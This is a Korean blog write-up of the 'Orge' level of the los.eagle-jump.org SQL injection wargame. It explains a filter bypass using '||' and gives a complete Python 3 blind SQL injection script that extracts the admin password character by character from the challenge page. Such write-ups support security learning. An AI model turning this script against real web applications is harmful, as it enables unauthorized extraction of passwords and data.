Notice
Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Archives
Today
Total
관리 메뉴

White Security

Orge 문제풀이 본문

Wargame Writeups/los.eagle-jump.org

Orge 문제풀이

POSIX 2019. 1. 30. 16:10


los.eagle-jump.org의 7번째 문제입니다.

이전 문제와 동일하게 or, and 를 막아두었네요.



admin 계정은 addslashes를 통해

이중 점검을 수행하므로


첫번째 쿼리를 통해 admin의 pw값을

알아내는 과정이 필요할 것으로 보입니다.



정상적으로 || 연산자 사용이 가능하니

|| 이후에 비교식을 넣는 것으로

Blind SQL Injection 이 가능합니다.


from urllib import request, parse
import math, sys

def check_true(response): return (response.find(b'Hello admin') != -1);

def if_query(query):
	url = 'https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=' \
		+ parse.quote("'||id='admin'&&" + query + '-- -')
	req = request.Request(url)
	req.add_header('Cookie', 'PHPSESSID=qus0d9r31j3mjc9aao7p1o0k30;')
	req.add_header('user-agent','Mozilla/5.0')
	
	response = None
	
	while response is None:		
		try:
			response = request.urlopen(req)
		except:
			pass
	output = response.read()
	return check_true(output)

def check_greater_than(query, val):
	return if_query(query + '>=' + str(val))
	
def find_char(query):
	first = 0
	last = 129
	
	while first < last - 1:
		mid = math.floor((first + last) / 2)
	
		if check_greater_than(query, mid):
			first = mid
		else:
			last = mid
			
	return chr(first)

def get_length(query):
	first = 0
	last = 65
	
	query = 'length(' + query + ')'
	
	while first < last - 1:
		mid = math.floor((first + last) / 2)
	
		if check_greater_than(query, mid):
			first = mid
		else:
			last = mid
	
	return first

def get_content(name):
	name = '(' + name + ')'
	content_len = get_length(name);
	content = ''
	
	if content_len == 0:
		sys.stdout.write('Invalid request\n')
		return ''
		
	for idx in range(1, content_len + 1):
		content += find_char('ascii(substr(' + name + ', ' + str(idx) + ', 1))')
		sys.stdout.write('\r[' + str(content_len) + '] ' + content + '_' * (content_len - len(content)))
	
	sys.stdout.write('\n')
	return content

content = get_content('pw')	


취약점을 이용해 작성한 파이썬3 스크립트 입니다.



Blind SQL Injection을 통해 클리어가 가능했습니다.


'Wargame Writeups > los.eagle-jump.org' 카테고리의 다른 글

Vampire 문제풀이  (0) 2019.01.30
Troll 문제풀이  (0) 2019.01.30
Darkelf 문제풀이  (0) 2019.01.30
Wolfman 문제풀이  (0) 2019.01.30
Orc 문제풀이  (0) 2019.01.30
Comments